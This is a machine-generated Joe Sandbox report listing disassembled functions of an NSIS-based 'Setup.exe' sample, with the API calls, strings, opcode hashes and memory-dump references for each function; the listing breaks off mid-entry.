Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction ID: 0b41acfa2c3272d6dc61f6848418d9961a63ce1f0aee58dce5ac99f5834af97b
Opcode Fuzzy Hash: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction Fuzzy Hash: 8491CB70D1412DAADF05EBE5C9908FEBBBAEF58301F00406AF592F7290E2385A05DB75

Function 00406831 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00425979,74DF23A0,00000000), ref: 00406902
GetSystemDirectoryW.KERNEL32(0046E220,00002004), ref: 00406984

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetWindowsDirectoryW.KERNEL32(0046E220,00002004), ref: 00406997
lstrcatW.KERNEL32(0046E220,\Microsoft\Internet Explorer\Quick Launch), ref: 00406A11
lstrlenW.KERNEL32(0046E220,00445D80,?,00000000,00404FD5,00445D80,00000000,00425979,74DF23A0,00000000), ref: 00406A73

Strings

F, xrefs: 00406A7F
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406A0B
F, xrefs: 00406858
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406952

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: F$ F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-1792361021
Opcode ID: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction ID: 94ababd57b57874809535cfc920d07d17cc92350817822ff6505e5e4c02fddf3
Opcode Fuzzy Hash: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction Fuzzy Hash: 9E71D6B1A00112ABDF20AF69CC44A7A3775AB55314F12C13BE907B66E0E73C89A1DB59

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0040AC30,?,00000001,0040AC10,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction ID: 17e7a05f0d3b91d3be5025a92c0a08315d4604efbe7233a371b14ee5b096337f
Opcode Fuzzy Hash: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction Fuzzy Hash: 9E416E74A00205BFCB04EFA0CC99EAE7B79EF48314B20456AF915EB3D1C679A941CB54

Function 004079A2 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
Instruction ID: f621f802e1b16f1afd83cb625a9a5dfb13386b99c5f5a138cca70abed5397206
Opcode Fuzzy Hash: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
Instruction Fuzzy Hash: CEE17A71D04218DFCF14CF94D980AAEBBB1AF45301F1981ABEC55AF286D738AA41CF95

Function 0040737E Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
Instruction ID: 563abc6a1943806f9f153a5c0538de096a4a033458f435c3a5efc50f2cd88ab2
Opcode Fuzzy Hash: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
Instruction Fuzzy Hash: 67C16831A042598FCF18CF68C9805ED7BA2FF89314F25862AED56A7384E335BC45CB85

Function 004063D8 Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063EB
lstrlenW.KERNEL32(?), ref: 004063F8
GetVersionExW.KERNEL32(?), ref: 00406456

Part of subcall function 00406057: CharUpperW.USER32(?,0040642D,?), ref: 0040605D

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406495
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004064B4
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004064BE
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004064C9
FreeLibrary.KERNEL32(00000000), ref: 00406500
GlobalFree.KERNEL32(?), ref: 00406509

Strings

Module32FirstW, xrefs: 004065FF
Module32NextW, xrefs: 0040660A
PSAPI.DLL, xrefs: 00406490
GetModuleBaseNameW, xrefs: 004064C0
EnumProcessModules, xrefs: 004064B6
Unknown, xrefs: 00406528
EnumProcesses, xrefs: 004064AE
CreateToolhelp32Snapshot, xrefs: 004065E1
Process32FirstW, xrefs: 004065E9
Kernel32.DLL, xrefs: 004065C7
Process32NextW, xrefs: 004065F4

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction ID: cf04814c2eceeca0522e3a2239a4cfb7588c45c97b625e8eb28f179f7b3afb0e
Opcode Fuzzy Hash: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction Fuzzy Hash: D3919371900219EBDF119FA4CD88AAEBBB8EF04705F11807AE906F7191DB788E51CF59

Function 004040E4 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404199
GetDlgItem.USER32(?,000003E8), ref: 004041AD
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004041CA
GetSysColor.USER32(?), ref: 004041DB
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041E9
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041F7
lstrlenW.KERNEL32(?), ref: 00404202
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040420F
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040421E

Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404150,?), ref: 0040400D
Part of subcall function 00403FF6: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404150,?), ref: 0040401C
Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404150,?), ref: 00404030

GetDlgItem.USER32(?,0000040A), ref: 00404276
SendMessageW.USER32(00000000), ref: 0040427D
GetDlgItem.USER32(?,000003E8), ref: 004042AA
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042ED
LoadCursorW.USER32(00000000,00007F02), ref: 004042FB
SetCursor.USER32(00000000), ref: 004042FE
ShellExecuteW.SHELL32(0000070B,open,0046E220,00000000,00000000,00000001), ref: 00404313
LoadCursorW.USER32(00000000,00007F00), ref: 0040431F
SetCursor.USER32(00000000), ref: 00404322
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404351
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404363

Strings

N, xrefs: 00404298
F, xrefs: 004042D3
open, xrefs: 0040430B

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: F$N$open
API String ID: 3928313111-1104729357
Opcode ID: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction ID: b74f7aac3d4bcd21dc7a54326fe4aeb8052e912a1eb6d084c2fa05dc76f75ebb
Opcode Fuzzy Hash: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction Fuzzy Hash: 5D71B5F1A00209BFDB109F65DD45EAA7B78FB44305F00853AFA05B62E1C778AD91CB99

Function 00406AC5 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00465E20,NUL,?,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AD5
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AF4
GetShortPathNameW.KERNEL32(000000F1,00465E20,00000400), ref: 00406AFD

Part of subcall function 00405DE2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
Part of subcall function 00405DE2: lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

GetShortPathNameW.KERNEL32(000000F1,0046B478,00000400), ref: 00406B1E
WideCharToMultiByte.KERNEL32(00000000,00000000,00465E20,000000FF,00466620,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B47
WideCharToMultiByte.KERNEL32(00000000,00000000,0046B478,000000FF,00466C70,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B5F
wsprintfA.USER32 ref: 00406B79
GetFileSize.KERNEL32(00000000,00000000,0046B478,C0000000,00000004,0046B478,?,?,00000000,000000F1,?), ref: 00406BB1
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406BC0
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BDC
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406C0C
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00467070,00000000,-0000000A,0040A87C,00000000,[Rename]), ref: 00406C63

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C77
GlobalFree.KERNEL32(00000000), ref: 00406C7E
CloseHandle.KERNEL32(?), ref: 00406C88

Strings

plF, xrefs: 00406B54
^F, xrefs: 00406ACF
NUL, xrefs: 00406ACA
%s=%s, xrefs: 00406B6F
[Rename], xrefs: 00406BF4, 00406C03

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: ^F$%s=%s$NUL$[Rename]$plF
API String ID: 565278875-3368763019
Opcode ID: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction ID: 187392fb1a539ff374a899d42f74550c270b9899c721d3c7d9f4fe98b52eb23c
Opcode Fuzzy Hash: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction Fuzzy Hash: F2414B322082197FE7206B61DD4CE6F3E6CDF4A758B12013AF586F21D1D6399C10867E

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,00476AA0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction ID: 3a901b8e11bd10f40e8c3d59bf329074d7a31f92ad936af625f7db958ebfa50f
Opcode Fuzzy Hash: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction Fuzzy Hash: BF518772800209AFCF05CF95DD459AFBBB9FF45315F00802AF952AA1A1C738EA50DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004140F8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004140F8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction ID: c6ff7831871a22410ebf281ca69ba80d881ba5d3dc99c3f31bea2db7712f227d
Opcode Fuzzy Hash: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction Fuzzy Hash: EE418BB2D00208BFCF11AF91CD46DEEBB7AEF44344F20807AF605761A2D3794A509B69

Function 00406113 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A
GetFileAttributesW.KERNEL32(00476240,?,00000000,00000000,?,?,00406300,00000000), ref: 00406168
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,00476240,40000000,00000004), ref: 004061A1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,00476240,40000000,00000004), ref: 004061AD
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),0040A678,?,00000000,00000000,?,?,00406300,00000000), ref: 004061C7
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,00406300,00000000), ref: 004061CE
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,00406300,00000000,?,?,00406300,00000000), ref: 004061E3

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004061C1, 004061C6, 004061CD, 004061DC
@bG, xrefs: 00406162

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: @bG$RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-3206598305
Opcode ID: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction ID: 195d9f7db6fc7c0c2d4377fc833027156c916e626c5a885f84869a8699de3d55
Opcode Fuzzy Hash: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction Fuzzy Hash: 0121C271500240EBD710ABA8DD88D9B3B6CEB06334B118336F52ABA1E1D7389D85C7AC

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction ID: bd1c3f70b2adfd396ae192ad3b35d3c6df9fc0ba6a3ee2c413e2f7d1cf6bca0f
